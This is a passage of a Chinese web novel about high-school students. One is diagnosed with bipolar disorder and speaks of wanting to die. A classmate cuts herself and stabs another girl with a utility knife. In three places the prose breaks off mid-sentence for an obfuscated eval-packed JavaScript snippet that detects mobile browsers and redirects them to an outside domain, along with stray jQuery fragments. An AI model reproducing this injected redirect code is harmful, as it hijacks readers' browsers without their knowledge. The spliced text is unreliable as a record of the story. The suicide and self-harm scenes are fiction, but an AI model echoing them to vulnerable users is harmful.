回去吧。 齐怀生定了定身，抬眸，一脸的汗和血，睁圆了眼睛：“什么意思？” “收拾收拾，回去吧。” 地上的人一一爬起，年长的瞪他，年轻的冲他做鬼脸。他环视一圈，掠过张张千奇百怪又千篇一律的讥讽嘴脸，最后直视老板的眼睛，脑海里满是齐越杰送礼时那张谄媚的脸。 齐怀生接受了十一年的学校教育，这样的脸，在课本里是被批判、被讥讽的对象。离开象牙塔后，他第一次觉得那张脸那么让人心疼和尊敬。原来人愿意弯下腰，是因为精神在努力向上。 不枉进厂这段时间，他看透了什么似的点点头，说：“好，回去。”他摔了擦汗的毛巾，“不稀罕在这破地方待……”咬牙嘟囔，去抓书包带。 陈向然知道自己上去也无济于事，帮不成忙，只有给齐怀生添麻烦，但他发现自己站不住了。 黑色的蠕物静悄悄地包裹他，把他捆绑在情绪的十字架上。 将他往前一推…… 于是整个空间发出一声巨大的“哗啦”，回声波涌般荡漾开去，经久不止。那一瞬间整个车间的机器声都停止了呼号，干活的工人忽然分散了精神，抬头就见细小的螺丝、稍大点的卡刀飞出几米，仍在弹跳、滚动。 陈向然掀翻了所有分好类的零件，让那些人把齐怀生干过的活重新干一遍。手被零件划了十几个口子，血珠缀于指尖。 嘀嗒，落在地上。 他自认是控制了自己的，这些棱棱角角的零件应该划在这些人手上、嘴上，让他们恶语自吞，拳也发软。 然而齐怀生慌张地捧起他的手：“你进来干什么？” 陈向然凝视那双琥珀色的眼睛，心里阴冷黑暗的情绪被这只手暖化。 他发觉一件事，他根本无法放下眼前这个人。无法像林岚说的那样，专注自己的目标，无视别人的“闲事”。 他什么也没说，只是紧紧地反握回去。 63. 支撑 所有人倏地投来视线。但他很快就看不见这些仇恨的、不怀好意的目光，齐怀生的背影将它们挡了去。 他明白了齐怀生为何那么慌张。 这些人不学无术、藐视人生，糜烂在阴沟里，同时又还残存一丝幸运，被家人——想必是连拖带拽——强制送到厂里回归生活。 但终究是被迫的，他们靠争端宣泄一身压抑和蛮力，生活的意义都在此处，在拳拳到肉的疼痛里。 “我们走。”齐怀生拉起他的手，对那些人说：“我的工作是你们毁的，最好都记住了。” 于是仇恨的、不怀好意的目光集中在了齐怀生身上。 他的背影依然很有力量，像他面对父亲、妹妹一样，要把所有东西，保护在他尚未丰满、就已肮脏破损的羽翼下。陈向然感到自己一直以来，指望着谁成为自己的救赎，却没帮上他任何忙。 厂房外雨还在下。齐怀生撑起伞，揽着他的肩膀，依偎着前行。 阴云过境，寒雨如针斜飞整座小城，撼动凌乱交叉的电线，砸响避雨的铁棚、空调机，推倒水泥阶梯旁的盆栽花，“当啷”一声，陶瓷花盆摔作碎块，泥土块随之滚出，溢散在及踝的雨水里。 陈向然觉得冷，却不再敢往他身上靠。 他们在巷头酒吧前避雨，齐怀生说，等雨小点，再送他回去。 “那你呢？”他问。 齐怀生甩了甩湿漉漉的头发，发梢被水珠压弯：“当然是回家。” “我不是这个意思。” 齐怀生像是不在意似的，笑了笑，他或许已经做好了最坏的打算：“接着摆摊做生意。” “摆摊，还不如做厂工赚得多。”陈向然与他卖了一段时间的东西，明白做生意时货源的重要性，“你其实打算放弃，一辈子留在这里吧。不管是想去的地方，还是想做的事，全都——” “陈向然。”须臾之间他已经点起了烟。陈向然注意到了，他最近抽烟的频率有增无减，“我带你去复诊吧。” “我已经没事了。”陈向然辩驳，“我精神很好，学习很好，画画也——” “每天睡几个小时？” “三个小时，足够了。足够我写一天题。” “你知道你现在看上去像什么吗？” 陈向然没有太多注意自己的面容，学校到处都没有镜子。窗玻璃、小电驴的后视镜也不能让他看到自己真实的容颜。 “什么？” “像一只无意识发狂的野兽。” 无意识、发狂。 “我有点明白.精神疾病的……一些特征了。”齐怀生呵一口气，浓烟被风融进雨里，“受情绪的驱使时，自己并不能感觉得到。因此把病使然的行为归咎自己，容易讨厌自己。” 齐怀生的“明白”像是那么回事，陈向然想说点什么，又倏地默然不语。 他再一次去到精神科。 大厅满是等待就诊的患者和家属。陈向然自从走进这里，便不停地踱步。大屏幕上成排的诊室号和就诊序号，极缓慢地移动着。他不知为何越来越烦躁，齐怀生要把他整个抱住才能阻止他对前台的医生发火。 他等得不耐烦了。 屏幕上刚刚叫出他的号码，他便一个箭步，开门进了诊室，差点和上一位两眼无光的患者撞个满怀。医生平静地盯着电脑屏幕，连个眼神都没朝门口掀。 “最近吃药后怎么样啊？”医生的声音很温柔。 “很好，已经好了。”陈向然说，“学得多，考得好。” “那不是很好嘛？”医生若有别意地微笑，“为什么这时候来看呢？” “他让我来看的。”陈向然指指身边的齐怀生，“我是不是……不必再吃药了？” “换药。”医生在键盘上打下几个字，“今年是……十七岁是吧？孩子，我看你之前的就诊记录，这不是好了，是转相。” “转相？” “抑郁发作转躁狂发作，你这个明显是双相情感障碍。” 他听见了一个新名词。 医生向他科普了这种疾病。有时低落难捱，有时高亢易怒，性情易变有如过山车。若快速循环，或许下一秒的自己已经不能理解上一秒的自己。医生只是很简单地说明了。从业多年，他大约已经做过了无数次的解释。什么是抑郁症，什么是双相障碍，它们的定义是什么，是心理问题，又或是生理疾病。解释言简意赅，因为在相关学科当中，研究成果还太少太少。 于是拿到诊断说明时，他仿佛被浇了盆冷水。 临走时，齐怀生拉了他一下，而他没动：“郑医生。” “还有什么事吗？”医生转动了一下椅子，面对他，手里一圈、一圈转着自动笔，“用药明细药房会打印给你。” “如果不吃药，我会怎么样？”他问。 旋转的笔停在指间，医生愣了一下，而后低头微笑：“也许不会怎么样，也许……”他顿了一顿，抬头，目光微亮，“人生就到这了。” 诊室窗外的风偷偷溜进室内，陈向然发梢一瞬扬起，神色全然淡漠：“死了……是这个意思吗？” 齐怀生默默凝视着他。 “死了。”医生两肘搁到桌上，十指交叉，托起下巴，“精神上，甚至可能……是肉.体上。” “是事实，还是为了劝我吃药？” “都有。”医生说，“当然，即便你吃药，还是有可能出现同样的问题。精神科医生不是神仙。” 雨好像停了。 红云的火焰开始燃烧天空。黯淡的黄昏游到他脚边，爬上膝盖，爬上他的半边脸，将他的脸切割成黑影与光明。 “那怎么样，才算痊愈呢？” “每个人都不一样，但有共同点，就是吃药、改变生活习惯，以及打开你的心结。这么说有点废话，因为做到这些也不是容易的事。” 时而坠入谷底，时而高亢兴奋。 他已经弄不清自己复杂的情绪。喜怒哀乐，究竟是哪一样，又或者哪一样都没有、消失了。残阳血一样流淌到他的脚下，暗红的、浓稠的，将他包裹。 …… “陈向然？”齐怀生晃着他，“陈向然，听见我说话吗？” 他回过神来，齐怀生已经将他搀扶到大厅。夕阳依旧是夕阳，没有变成血，也没有像黑胶带一样，黏稠地将他缠裹起来，让他窒息。 夕阳也曾是很美的风景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301982|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不舒服吗？”齐怀生揽着他问。 陈向然推开他。 过山车从最高点“唰”地落下。情绪从山顶跌落，一下坠入幽深的海水。 他再次想逃到某个角落，一个人藏起来，什么也不用面对。 医院外车流济济，每日都有无数怀着病痛的人到此处求得良药。两人站在马路边，公交车扬着烟尘和积水驶到站点，“呲”一声，门一拉开，人群上上下下。 齐怀生担忧地看他：“去我家待一晚，怎样？反正周末，明天再回学校。”他迟疑须臾，“……我有话和你说。” “不用管我，齐怀生。”陈向然翻看手里的药单，声音颤抖，“不要再管我了。” 没有意义，齐怀生的人生不该消耗在没有意义的事上。他还有那么多事要处理，不该处理他这个多余的“问题”。 他说着这样的话，却由着齐怀生顺势搂进怀里，偷取最后一点他不该得到的温暖。 他没有理由、也不值得得到。 陈向然还是跟他回家了。日后回想起来，这大约是他最后一次来到齐怀生家里。阿送依然上来迎接他，他于是顺着毛抚摸它的脊背。 眼前的小生灵全身心地依赖着他。他们三个，在这样一个小小的屋檐下，像一艘船靠了湾岸。风雨在外，相互取暖。 齐怀生坐下灌了杯水：“有空帮我照顾一下阿送，我实在没时间。最近黎斯要给我介绍一份新工作。” “你想骗我来你家么？”陈向然挠挠阿送的耳朵，听它发出呼噜噜的声音。 齐怀生笑笑，说“对”。笑意持续不过片刻，他颤巍巍地放下水杯，低头让头发丝遮去眼睛：“陈向然，”他说，“你应该知道我的吧。” 陈向然依然抚摸着阿送。 “我曾经发过誓，不会再做一个沉默的凶手。我会阻止这样的事情——” “齐怀生，不要阻止我。”陈向然抱着阿送，坐在长椅上，轻轻地说，“我无数次想过，那是我们这样的人……最后的下场。或者说，所有人都是一样的下场，谁都逃不过终结生命。那我们还能为什么而这么努力地活着？” “因为你有理想，陈向然。你无数次这么想，但你现在还坐在这里。因为你还有未完成的事。”齐怀生扶着他的肩膀，看着他的眼睛，“我不知道这么说……你能不能接受。我不会说话，我只是相信，一定有能够支撑你的东西，我想帮你找到。” 理想啊…… 陈向然看着眼前的人，他面色憔悴，摆过货摊，做过厂工，学会迂回交涉，和市井的蛮野之道，学会在车间组长递来一个眼色时，递回一支烟。 像齐卫平说的，混不像一个学生。不过是为了他，仍勉强地与他谈论理想。 阿基里斯追逐乌龟，有如人追逐所谓理想。那是一个不知能否触及的彼岸，藏着无数苦痛和一份为达目的甘愿受苦的心意。 “行，那我先回去了。”陈向然放下阿送，起身背上书包。 “不留一晚么？” “对不起，齐怀生，我想一个人待着。” 说这话时，他埋着头，转身就离开了。 坚硬的外壳再度筑起，他藏起来，不作任何道别。 64. 请求 随着一场又一场考试，十六班渐渐稳坐重点班的头衔。杨姗作为新老师成了焦点，走路的感觉都不一样了，脊梁挺得老直，风一样的，扬着笑脸。尽管他们只是几个重点班中的最后一名。 任谁都能看出她来劲了，发誓在高二最后一场考试，将他们培养为第一。于是只有他们恢复了学校原来的午自习模式。杨姗收紧准军事化的时间分割，日日提醒其他科目的老师多布置试卷。 于是一段时间后，陈向然再搬起十公分厚的试卷夹——它早已不堪重负，撕裂一个又一个口子，仿佛到了分崩瓦解的边缘。 他只是沉默着又往里面塞了一张语文试卷。 他发现一个很有趣的现象。 那会儿午自习规定出台，抗议者甚多，但随着时间过去，这些人渐渐不反抗了。等到午自习取消，仍有许多人坚持午休时间不间断学习。 不乏身体出问题的，但一剂重药下去，什么问题都解决了。六点多晨跑时高喊“往死里学”的口号，的确什么身体、视力，都可以成为所谓“教育”的牺牲品。 杨姗开了个头，其他班也坐不住了，一个熏染一个，紧张的气氛莫名蔓延开去。不知什么时候，不需要什么命令、规定，所有人开始了更严苛的午自习。 于是严霖辉的补习课又成了暂时脱离压抑的借口。 严霖辉很久没课后留他了，只是在一次走廊上的偶然相遇，问及他是否还在画画的问题。他只答“不画了”，没有多余的解释。 “难怪。你妈妈很久没问我你的近况了。” 陈向然心想，那是她更换了“眼线”，和杨姗联系上了。 他没说什么。严霖辉默然，叹气道：“不画了也好。”他说，“虽然我现在带高三了，不教你们，有时还是挺担心你的。” 陈向然看着他，想到陆引也说过类似的话。 “担心我？” “对。”严霖辉说，“你们这个年龄的孩子啊，尤其咱们学校的，竞争这件事早超过了任何事情。家境也都不错，就想设立更高的目标，考清华北大，向往所谓高端的、体面的职业，想着如何往上爬，称之为理想。” “您在说我么？”陈向然无奈笑笑，“您不也喜欢画画么？” “对，那是上高中以前。”他顿了一顿，“同样的话我说过很多遍，但我觉得，有必要再和你说一遍。” 当严霖辉说着那天和孙临潼说过的同样的话时，陈向然一边听着，一边神游天外。直到他听见那天没有听到的一些话。 严霖辉注视他的眼神，仿佛也在他身上，看见过去的自己。 “陈向然，我那时也一样。总觉得人就应该努力、上进，要有理想、有抱负，要过上想要的某一种生活。要死要活地坚持、反叛，把自己困在牛角尖里，把周围的人牵连得一塌糊涂，还认为一切都理所应当。后来发现，那些困住我们的东西根本就不存在，只要你放弃与之对抗。或许会觉得可惜，但至少，路走通了，不至于绝望。” “我不想说什么你们还年轻，执着理想很正常，以后就明白了之类的话。只是我不希望我的学生钻进死胡同。都以为自己在反抗，其实在别人眼里不过是置气，微不足道。为什么？因为你们还弱小。正因为这样，一旦反抗失败，就会万念俱灰，人就是这么走向毁灭的。” 他确信那天没有听到这样的话语。严霖辉的每个字都在击打他的胸口，他可能是对的，又不全然了解他。 而后他又听严霖辉再说一遍：那些困住你的东西它根本就不存在，只要你放弃与之对抗。 放弃，与之对抗…… “老师，”他很轻地唤道，“那您放弃理想之后，得到了什么呢？” “平凡。”严霖辉几乎没有思考地说出来，“庸庸碌碌，上不完的课，改不完的试卷。硬着头皮加班，因为班均分高有月末奖金。顺便可以告诉你，我最近终于要结婚了，不能连点家当都没有。”他笑了笑，有一瞬间，师长的威严破开一条缝隙，露出那么一点少年的光彩，“怎么样？失望吗？” 陈向然也笑了：“没什么失望的。” “是嘛？哈哈哈……” 师生沉默着走了很远的一段路，到教学楼前分道扬镳。分开时，陈向然看着他：“谢谢。”他说，“祝您新婚快乐。” “谢谢。”严霖辉露出微笑，白衬衫的领子在风里飘摇，“上课去吧。” 他站在原地。严霖辉已经远去，他仍没有挪动步伐。 想了很久，还是追上去，大喊：“严老师，您还愿意帮帮齐怀生吗？” 严霖辉站定了。 山里的积雨云总憋着灰，天光倏然黯淡，严霖辉的背影也黯淡下来。 “我还想和你说一句。”他缓缓转过身来，“人总有一天都要明白，自己的无能为力。” 陈向然浅鞠一躬，不再目送，头也不回地上了教学楼。 这些天他只感麻木。像个机械一样，每天执行杨姗为他们切割好的时间。五点晨读、十二点半午自习、傍晚六点半提前进入晚自习……无论鞭策、还是夸奖，都不能激起他的涟漪。其实……他想，所谓赞美也不外乎为了鞭策，而非对你人格的肯定。 驯兽罢了。 于是时常听刘永凡说：“别画画了，吵死了。” 笔尖隔着一层薄薄的纸张，在课桌上飞速摩擦。他回过神来，稿纸上布满了黑乎乎的、密密麻麻的画圈笔迹，愣了愣，压下那股无意识的暴戾，扔了笔。 “不是只有我们，”刘永凡翻过试卷，写下一个“解”字，“学长学姐他们，以前也这样。” 陈向然说：“我们这样，不是因为杨姗么？” “只要有一个班上赶着，其他班也会跟着。不努力，一不留神就落下咯，然神。” 刘永凡的阴阳怪气，是从他拿了年级第一开始的。习惯了之后他也只是轻叹一声。瞥去一眼，他这个同桌继续淹没在题海里。黑色的字蠕虫般爬满一页纸，力透纸背，写完一页，边角都卷了起来。 不努力当然就会落下，因此努力也是没有尽头的。 总有更好的、更高的，无止境的追求。严霖辉说的正是如此。 到如今这一步，他早已不同以往了，他或许比同龄人更早发现，除了高考，自己不知道该为什么而活。 艺考也是高考的一部分。陆引问过他，为什么执着于画画。他想要的远不是这样。 “看来你们杨老师还是挺有一套的。”林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301983|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岚今天忽然在微信里这么说，“我还担心，一个面上中学调来的老师，没什么能力呢。” 陈向然发出一个“嗯”。 “记得多花点时间在语文背诵上。作文多背点素材，我最近刚给你买的高考作文素材，记得早晨要把时间给到背诵的科目，这个时间段是记忆力最好的呀。知道吗？” 少年和成人永远不在一个时区。他还在为没收画具的事耿耿于怀，而林岚从一开始就当作过眼云烟。 以往他都会顺从地回一声“知道”，但他岔开了话题：能给我预支点钱吗？ 发出去后，又补上一句：我会还你的，等我赚钱了。 林岚那边回复很快，她首先问的是：作什么用？ 陈向然如实说来。 屏幕静了许久，紧接着屏幕黑了，上面显示着红绿的接听键和挂机键，和林岚两个字——她打来了电话。 上次接电话不知是什么时候了，没想到这次会以这样的理由通一个电话。 “喂，妈……” “我是不是跟你说过，不要跟那样的人来往。” 陈向然一愣：“他是我朋友。” “是什么都不行。他以后能对你的人生有什么样的帮助？他的家庭决定了他能走多远。向然，你小，还不懂，这样的人跟你不是一条路的。现在做个朋友可以，但不至于付出那么多。” “妈……”陈向然坐在宿舍里，浑身轻轻地抖，勉强维持声音的平静，“妈，我快十八了。” “十八，还早着呢。妈妈不希望你吃亏。说过很多遍了，听妈妈的，才不会走弯路。” 林岚大部分时候都是对的。 陈向然不得不承认，她拥有非常丰富的、“正确”的人生经验。 可弯路又如何呢？他想，他就宁愿走一走弯路。 “好。”他冷冷地说，“我听。” 说完手机扔到被子上，压扁了早晨捏好的九十度被角。他拿出一把五颜六色的药片，一口生生吞下。 烟花三月，校园银杏如翠海，细小的花蕊洋洋洒洒，行走间就有一朵飘落肩头，又再度乘风，越过树梢，旋转飞舞着，向天边缱绻的流云而去。 又是艺考培训的时间，陈向然拉着行李箱，小跑追赶程希——他与白峥肩并着肩走出校门，荧黑的小轿车就停在校门口。 陈向然喊住他。他笑着转过头来，看到他，渐渐收起嘴角：“陈向然？” “能不能……搭个顺风车？” “你不是自己上培训了嘛？” 自从齐怀生用小电驴送他，他就婉拒了程希家的小轿车，宁愿延长二十分钟的路途。 可既然决定不打扰，便不会再见他。 “怕迟到。”一个摇摇欲坠的借口，“都这个点了。” “嗐，谁让在教室里做那么久的题。”程希一招手，“一起走吧。” 陈向然小跑跟上去：“还想拜托你一件事。” 程希正盯着白峥的手机屏傻笑，似乎在分享什么有趣的帖子。笑过三巡才想起他，目光没有给过他一寸：“什么事？” “能……借些钱吗？”陈向然嗫嚅着说，“可能不是小数目，但……这是我第一次，也是最后一次请求。” 65. 珍宝 程希问他要借多少时，他犹豫了，说“五万”。 “那我得问我爸借。”他想了一会儿，“嗯……他是个貔貅，借钱要收利息的。” “麻烦你问问了。” “陈向然，你明白我什么意思嘛？”程希哭笑不得，“你还不起的。你要这么多钱做什么？” 行李箱骨碌碌拖到车边，程希家的司机打开了后备箱。春风拂来，几片叶子飘进车里，被虫蛀蚀过的，翠绿带着孔洞。陈向然扫去落叶，抬起行李箱，不断斜觑身边的白峥。 白峥被盯得不耐烦：“干嘛？我可没钱啊。” “我可以让陆老师加你一个位置，到里间培训。” 话戳中了白峥那点小心思，他动作定了定，关上后备箱：“再说吧，我们今天也不是去培训的。” 陈向然这才想起来。 今天是画展开展的第四天，陆引点了几名学生去赏赏各路名师的画作。 展厅的灯光经过精心设计，色彩、角度恰到好处。画廊蜿蜒曲折，空静、神秘，令人意欲探索。参观者都自觉保持安静，运动鞋踩在木地板上擦出回音，空灵如画有呼唤。 白峥自打走进展厅，脸色就没好看过。陈向然站在主展厅里，没有进去。只见他径直掠过一众画师的杰作，到新锐展厅里看陈向然的画。 哪儿画得好，陆引究竟喜欢他什么，要尽数学来。 大部分画了深海、火烧云，还有出现频率最高的鲸。就连五彩斑斓的花蝶画都透露着某种诡异的压抑。唯独一幅画，少年剪影在风里飞扬，树木、操场、教学楼、夕阳……陈向然作画时，定然极尽所有温暖的色彩，包围这个纯白的少年，清透而明亮。 白峥说不出是什么样的感觉，只觉这幅画之醒目，在一众压抑、撕扯、热烈的画中，尤为治愈人心。他想定是有什么人，或许就是画上的这个人，曾经改变过陈向然。 他心里升起佩服而喜悦的心情，然而这样的心情越强烈，嫉妒也就越强烈。 不是说陆引从没为他开过小灶么？这下又说介绍他到里间培训了。果然学霸都是不能相信的。有什么得意的呢？能讨艺考改卷老师的欢心才是最后的胜利。 转过头时，身后没有任何人。程希在陆引的个人展厅里；陈向然还在主展厅，在大门口和陆引说着什么。 “有人出价吗？”陈向然期待地看着他。 “有，有位年轻的先生出价十九万八，说什么都不肯二十万买走。”陆引哈哈笑道，“哎，你真不打算卖画吗？哪怕一幅。年纪轻轻的，来点成就感。” “您也知道，我……” “付出心血的表达，都是宝贝，对吧？”陆引拍拍他的肩，环视这宽敞大厅里环墙高挂的画作，叹了口气，“你确实……不爱争啊。但是我和你说啊，艺术的领域，不争就没有前途。到时你不要哀叹怀才不遇，因为不遇才是常态。有这么个理想，又有了机会，就争取争取。” 陆引，和严霖辉，一个支持他实现理想，为他拓疆开路；一个劝他放弃，回归平凡。但他们都搞错了一件事，理想和争名夺利，在他这是风马牛不相及的事。 他很幸运地遇到他们，听到艺术的悖论、人生的限制，都是师长的教诲。 可他仍有他的路要走，哪怕是一条绝路。 走下去，才是“陈向然”这个人会做的事。 “我想卖。”陈向然说，“请不要设置二十万的底线，能卖多少，便卖了吧。” “想清楚了？”陆引问。 他重新看了一遍自己的画作。 画画是像文字或是摄影那样的存在——记录。只不过，文字记录心境，摄影记录客观影像，而绘画集二者于一身。看到光影、色彩，他便能回忆起很多事情。 这次画展他连最拙劣的童年画作都贡献出来。意外的是，其中一幅被出价十九万八。 那是他人生第一幅画，跌跌撞撞的线条、图形，横七竖八的上色。姥爷一起画的，有老家颓败的房子，家门口郁郁葱葱的老树，和树枝上悬挂的秋千。秋千是姥爷做的。他给镇上的乡邻做过木工，小到做家具，大到造木船，手粗糙，也灵巧利落。 那时庭院风来，檐下灯笼摇晃，拂飞立角头的蜻蜓，风里飘散柑橘和香炉的气息。他举着稚嫩的画笔，画下庭院陈桌。果盘里的财神爷总是笑眯眯的，而喜庆的酥糖包装总有两个年画娃娃在嬉戏。大金元宝由冥纸叠成，几缕金、几缕红，陈向然都很认真地添画上去。 姥姥抱着竹编筐经过，笑得像廊下晾晒的红枣干，说：我们向然，将来一定是个大画家。 为了表示参与，她慢悠悠地接过姥爷的画笔，在檐上点了一撮。棕灰色鸟雀向天展翅，再加点睛之笔，老屋霎时焕发生气，古朴而温暖。 大人逗弄的无心之言，陈向然记下来了。此后漂泊、孤单的时光，仍有一张纸、一支笔相伴。 他走时没有带走老屋画，姥姥说要留作纪念，看到画，就能想起孙儿。一直到姥姥姥爷相继去世，林岚从火葬场回到家，才把这幅画带到家中。 那时林岚依旧很忙，来去匆匆。他在空无一人的房子里，一遍遍听到病情、死讯、已下葬的消息，想象姥姥姥爷最后离开的音容。世事如此，他平静地接受了。老家已倒、故人已去，再没有归处，他都不出一言。但某日傍晚，在林岚房间搜到他人生的第一幅画。 老屋皱瘪，绿叶褪色，秋千绳断，冷风将沉寂的夕阳送上画纸，霎时间仿佛万物无声。那双布满褶皱、青筋的手握着他执笔胡来，姥姥笑得眼睛眯作缝隙，弯下圆滚滚的身体，为他点睛振翅。 纱帘被突来的大风撩起，他终于忍不住，蜷缩在窗边哇地一声大哭出来。 旧物归来，却如失珍宝。 如今挂在展厅里，有种分享宝贝的骄傲。许是出现什么有缘之人，受染画里的留恋，有种如敝帚自珍般的心情，决心拍下这幅画。 如果是这样的人，出售予他大约也不算太遗憾。 “想清楚了。”陈向然注视着陆引的眼睛，“十九万八。” “好，我马上联系那位先生。” “等会儿。”陈向然按下他的手机，“等我走了，您再联系吧。” 陆引笑了：“怎么？还是舍不得吧？” 陈向然又多看了几眼老屋画，回忆越是明亮，心里就越是失落：“钱什么时候可以到？” 最慢后天。陆引是这么说的。 剩下的就是要搞到借债人的信息。思来想去，也只有找叶知。 又到月考发卷的日子，平日里教室都是紧张兮兮的气氛，今天略有反常。教室里几乎一片安静，于是张依萌的叫嚷声整条走廊都能听见。 “不是你还有谁？” 陈向然走到门口，就听见这么一句。 难得刘永凡没有在座位上刷题，避到门口来，抱着两臂，肩膀畏缩，生怕成为被殃及的池鱼。 “怎么了？”陈向然问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301984|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 张依萌唾骂，站在她对面的是叶知。这姑娘埋头耸肩，头发也被抓乱了，只轻轻地说着：“不是我……” 刘永凡说：“她啊，唉，就是这次没考好。” “不是进步了么？”陈向然纳闷，张依萌早就稳定在年级前二十了，相比她以往百来名的成绩，已经足以成为努力的典范。 “退了，上次十四，这次十八。被骂了。” 她和叶知关系不好，陈向然为了看护叶知，偶尔也会关注张依萌的动向。她近来总缠着英语老师，似乎在英语上下了苦功夫。因此其他科落下了，拖了总分，也不奇怪。 学习就是循序渐进，有进有退，前面有人强，后头有人弱。 可总有人希望你一战成神。 “那关叶知什么事？”陈向然问。 刘永凡指向张依萌的课桌。距离有点远，陈向然依稀看见那桌上是张英语试卷，被撕作好几块，上面红色的分数烂得分辨不清。 陈向然记得她是满分，全年级唯一一个英语满分。 “总分退步了，好歹还有张英语跟她爸妈邀功，没咯。”刘永凡摊手，“太碎了，拼不回去。” “是，我碰裂过你的语文试卷。但那是不小心啊。”张依萌说起叶知语文143那次的试卷，“你竟整张卷给我撕了。” “都说不是我了。” “天天勾搭那么多男生借你笔记，陈向然、刘永凡，他们都只借你。这样都学不好，撕我卷子就能满分吗？可笑！” 陈向然比其他人更先嗅到不对劲。 叶知手里握着那把小刀。橙黄色的塑料壳，陈向然再熟悉不过，刀刃上是干涸的暗红色，轻轻一转动，暗处寒光凛冽。只见她正要举起刀刃——陈向然一个箭步冲上去。 这一刻，四周没有人想到他会窜出来，一个接一个被撞了一个趔趄，大声骂咧：陈向然你要干嘛啊。 善意的恶意的言论漫开去，陈向然无暇顾及名声、流言，翻过几张课桌椅，伸手就握住叶知拿刀的手腕。 “叶知……”他咬牙叫出她的名字，却无力再说出后面的话。 就像叶知说的那样，他们是这个小世界里，最相似的两个人。陈向然无法否认这一点。 他无数次想站在齐怀生的立场，感受那份想拯救的心情。但最终，如果不是齐怀生的妹妹，他不可能做出阻止的举动。 那么痛苦，那么需要用鲜血和疼痛缓解痛苦的时刻，他本无法去阻止。 但他死死地抓着叶知：“想想你哥。” “陈向然……”她忽然停止挣扎。 “嗯？” “我好像想明白了，我们只有结束自己，才能结束这一切。”她笑了笑，气弱声嘶，“对吧？我知道你明白。” 叶知苍白瘦弱的身躯突然爆发出力量，挣脱的一瞬间，因惯性划伤了脖子。她疼得呆住了，抹了脖子上的血，满手殷红——手里的刀刃映出她一只灰暗无神的眼睛。 她擦了很久，血仍在汩汩流出。失血渐渐多了，她开始有些晕头转向，举着刀锋跌撞着冲出去。 陈向然起初只觉她身体有碍，想去搀扶。下一秒，他明白了。 她和他一样，内心一直住着一个鬼魅，与她天使的外貌判若两者。她与这个鬼魅斗争多年，已经宣告失败。它完全占据叶知的理智，展露獠牙，直冲对面的张依萌而去。 鲜血喷薄，四下噤若寒蝉，一片溢满惊惧的死寂…… 66. 不争 “轰隆”一声巨大的滚雷，天色灯灭般化作昏灰，几个女生发出尖叫。 张依萌及时后撤一步，美工刀才没有戳进她的颈动脉。刀尖划破校服，肩窝敞开一道口子，染红衣服。女孩捂着伤口泪如雨下，一边哭、一边骂，要上前还手，却忌惮她手里的刀。 陈向然死死勒住叶知。她渐渐没了挣扎的力气。 “放开，别拉着我。”叶知回头看他，又似乎不在看他，眼里空洞无物，脸上纵横的血痕里，还有若隐若现的透明的泪痕，“不要阻止我……” 一时间他想起某一刻的自己。 那时他意识恍惚如即将消散的雾，又清明如镜，笃定而执着地说出“齐怀生，不要阻止我”。 “我以为不争就好了，”叶知颤栗着，虚弱地吟说，“不争就能好好过完这段日子。可他们不放过我，都不放过我……陈向然，为什么我们永远停不下来……” 她的声音细如蚊蝇，只有陈向然能够听见。 他想起那天叶近成说的话，明里暗里地说，叶知太内向了，没有上进心，没有竞争意识，成不了大器。说“嗐，阿知你这样静得不说一句话，怪不得人欺负你”。顺带夸赞了张依萌的强势，说，还得是那种人，才有出路呢。 谁才有出路呢？陈向然凝视眼前的景象。他们都不会有出路。 “陈向然你走开。” 她踢开陈向然，“呼啦”一下调转刀尖，冰冷冷的刀刃直冲着她自己瘦弱的胸膛。 “叶知，”陈向然一手勒住她，一手制住她的手腕，低声咬着牙说，“我不为了你。” 叶知握刀的手频频颤抖，她流血过多，无力再戳穿自己的胸口。 陈向然说：“你哥不能再没有你了，叶知，你可能还不知道他现在多辛苦，如果……” 如果，他也有这么一天，那么在这一天到来时，他不能成为齐怀生的累赘。 他想清楚了，萍水相逢的同学，这便足够了。多余的关系不需存在。 叶知伤口太深，几乎跪坐在地上，校服洁白如羽，染了血污，红黑交织着流淌到地板上。她紧紧握着小刀，虎口被刀刃割裂，也丝毫感觉不到疼痛似的，用最后的力气站起来，冲着没有防备的张依萌又是一刀。 周围人一下子退散，集聚到走廊、教室门口，他们捂着嘴，或别过脸去，不忍一睹，或揪着身边的朋友议论纷纷。 刀光一闪而过，没有刺中，她摔倒在血泊里，仍仰着脸，宁静、温柔的面孔这时候挂着极致的仇恨，死死盯住张依萌惊惧的脸庞。 这个脆弱也坚强的姑娘，这些年避群独行。明争暗斗的喧嚣与她无关，考多少分、拿多少奖，是不是第一名、人上人，都不重要，她只想安安静静地过完自己的高中生涯。 